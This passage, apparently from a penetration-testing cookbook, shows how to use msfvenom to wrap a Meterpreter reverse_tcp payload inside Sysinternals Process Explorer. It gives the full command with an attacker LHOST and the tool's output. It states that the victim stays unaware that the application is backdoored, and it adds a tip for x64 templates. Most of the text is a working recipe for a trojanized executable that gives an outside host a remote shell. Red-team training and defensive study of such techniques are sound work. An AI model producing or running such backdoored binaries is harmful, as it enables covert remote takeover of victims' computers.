- Using the -x option, we can specify our own template; in this recipe we will use Process Explorer from Windows Sysinternals, and, by using the -k option, we can run your payload as a new thread from the template:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -x procexp.exe -k -f exe -o procexp-backdoored.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 4440576 bytes
Saved as: procexp-backdoored.exe
root@kali:~#
- When the victim runs the payload, it will be unaware that the application has been backdoored:
When creating x64 payloads with custom x64
templates, you should use exe-only as the output format, instead of
exe.